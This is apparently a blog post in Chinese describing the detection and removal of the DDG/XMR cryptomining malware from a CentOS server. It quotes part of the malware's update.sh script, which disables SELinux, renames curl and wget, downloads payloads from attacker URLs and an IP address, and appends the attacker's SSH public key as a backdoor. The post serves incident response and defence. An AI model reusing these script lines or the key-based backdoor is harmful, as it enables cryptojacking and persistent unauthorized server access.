挖矿病毒DDG的分析与清除
注:以下所有操作均在CentOS 7.2 x86_64位系统下完成。
今天突然收到“阿里云”的告警短信:
尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警查看事件详情,并根据事件建议的方案进行处理。
于是登上“云盾云安全中心”查看,发现安全提示:
点进去查看详细信息:
网上查了下,发现这是一款在Linux/Windows双平台的挖矿病毒木马,该木马是通过Redis漏洞传播的挖矿木马DDG的变种,使用Go语言1.10编译使用了大量的基础库文件。该木马会大量消耗服务器资源,难以清除并具有内网扩散功能。
注:DDG挖矿病毒是一款在Linux系统下运行的恶意挖矿病毒,该病毒从去年一直活跃在现在,已经挖取了价值一千多万人民币的虚拟币货币,此病毒样本在一年左右的时间,已开发出了DDG.3012/DDG3013/DDG3020多个变种版本。
接下来清除该病毒。
#病毒清除(第一次)#
1)使用top命令查看当前系统资源使用情况:
# top top - 13:38:00 up 4 days, 20:30, 1 user, load average: 35.71, 35.86, 35.53 Tasks: 100 total, 1 running, 97 sleeping, 0 stopped, 2 zombie %Cpu(s): 92.9 us, 6.9 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.2 si, 0.0 st KiB Mem : 32781996 total, 32107928 free, 487608 used, 186460 buff/cache KiB Swap: 0 total, 0 free, 0 used. 31952696 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 923 root 20 0 2420152 90968 968 S 358.0 0.3 99:15.00 sysupdate 965 root 20 0 1088136 72112 1044 S 40.7 0.2 11:29.25 networkservice 25340 root 10 -10 130264 15648 9396 S 1.3 0.0 26:16.12 AliYunDun 9 root 20 0 0 0 0 S 0.3 0.0 1:54.95 rcu_sched 1300 root 20 0 157672 2148 1532 R 0.3 0.0 0:00.20 top
可以看到sysupdate和networkservice两个异常进程占用了大量的服务器资源。
首先处理sysupdate进程。
2)通过PID找到该异常进程的文件路径。
# ls -l /proc/923/exe lrwxrwxrwx 1 root root 0 Oct 30 13:10 /proc/923/exe -> /etc/sysupdate
可以看到该文件的绝对路径是/etc/sysupdate。我们把这个文件下载下来,放到Virustotal分析一下。
确认是XMR病毒无疑,传送门。
3)首先干掉进程。
# kill -9 923
4)接着删除文件。
# rm -f /etc/sysupdate rm: cannot remove ‘/etc/sysupdate’: Operation not permitted
无法删除,看来是做了保护,可能是使用chattr命令对文件做了锁定。
5)解除锁定并再次尝试删除文件。
# chattr -i /etc/sysupdate # rm -f /etc/sysupdate
这次可以删除了。
然后按照上面的步骤把networkservice异常进程文件也删除掉。
查看当前服务器资源使用情况,发现一切正常了:
# top top - 14:34:43 up 4 days, 21:26, 1 user, load average: 0.00, 0.02, 1.36 Tasks: 93 total, 1 running, 92 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.1 us, 0.2 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 32781996 total, 32128876 free, 297728 used, 355392 buff/cache KiB Swap: 0 total, 0 free, 0 used. 32132976 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 503 root 20 0 1414308 28104 7676 S 0.7 0.1 14:32.75 CmsGoAgent.linu 25340 root 10 -10 130264 15648 9396 S 0.7 0.0 26:49.00 AliYunDun 31672 root 20 0 0 0 0 S 0.3 0.0 0:00.57 kworker/3:2
这次服务器正常了。
#病毒清除(第二次)#
没过多久,再次收到“阿里云”报警短信:
云盾检测到您的服务器正在通过HTTP请求,尝试连接一个可疑恶意下载源,可能是黑客通过运行指令、恶意进程等方式从远程服务器下载恶意文件,危害服务器安全。如果该操作不是您自己运行,请及时排查入侵原因,例如查看本机的计划任务、发起对外连接的父子进程。
再次登上“云盾云安全中心”查看,发现安全提示:
发现刚刚删除的sysupdate文件又回来了。
# more /etc/sys sysconfig/ sysctl.d/ system-release sysupdate sysctl.conf systemd/ system-release-cpe sysupdates
还有一个可疑的sysupdates文件,猜测可能是写了定时任务。
1)查看定时任务的日志,为了方便过滤,加入关键词“update”。
# more /var/log/cron log | grep "update" Oct 30 12:30:01 iabczwz93qwr9mrtmr CROND[31702]: (root) CMD (sh /etc/update.sh >/dev/null 2>&1) Oct 30 13:10:01 iabczwz93qwr9mrtmr CROND[32719]: (root) CMD (sh /etc/update.sh )
果然,发现了一个异常的/etc/update.sh脚本。
2)打开这个脚本查看其内容:
# vim /etc/update.sh #!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin/cur miner_url="https://de.gsearch.com.de/api/sysupdate" miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate" miner_size="854364" sh_url="https://de.gsearch.com.de/api/update.sh" sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh" config_url="https://de.gsearch.com.de/api/config.json" config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json" config_size="4954" scan_url="https://de.gsearch.com.de/api/networkservice" scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice" scan_size="2584072" watchdog_url="https://de.gsearch.com.de/api/sysguard" watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard" watchdog_size="1929480" ...
可以看到它在这里做了好几件事,首先是往/etc目录下面下载以下文件:
- /etc/config.json:挖矿配置文件,包含钱包地址与挖矿参数等;
- /etc/sysupdate:XMR挖矿程序主体;
- /etc/sysupdates:XMR挖矿程序主体备份;
- /etc/sysguard:根据获取到的系统版本下载针对性Payload执行,包含通信模块用于监控并保证病毒的正常运行以及更新;
- /etc/networkservice:漏洞检测模块,针对Redis、MSSQL、ThinkPHP、WebLogic等软件漏洞和系统漏洞扫描并入侵其他的主机;
- /etc/update.sh:本脚本文件。
简单分析下/etc/update.sh文件,发现它做了以下事情:
- 下载病毒模块;
- 在kill_miner_proc函数中清除其他挖矿病毒;
- 定时任务存活;
- 为文件添加chattr锁定;
- 修改IPTABLES;
- 清除日志;
- 关闭SELinux;
- ……
还有个后门,创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,具体代码如下:
... chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys ...
我们来查看下这个后门:
# vim /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17
接下来我们开始干活。
3)首先清除该定时任务。
4)将相关进程再次重新全部kill杀掉,并且将上述文件全部删除。
# rm -f /etc/update.sh # rm -f /etc/config.json # rm -f /etc/sysupdate # rm -f /etc/sysupdates # rm -f /etc/networkservice
5)将SSH后门删除。
# rm -f /root/.ssh/authorized_keys
至此,任务完成。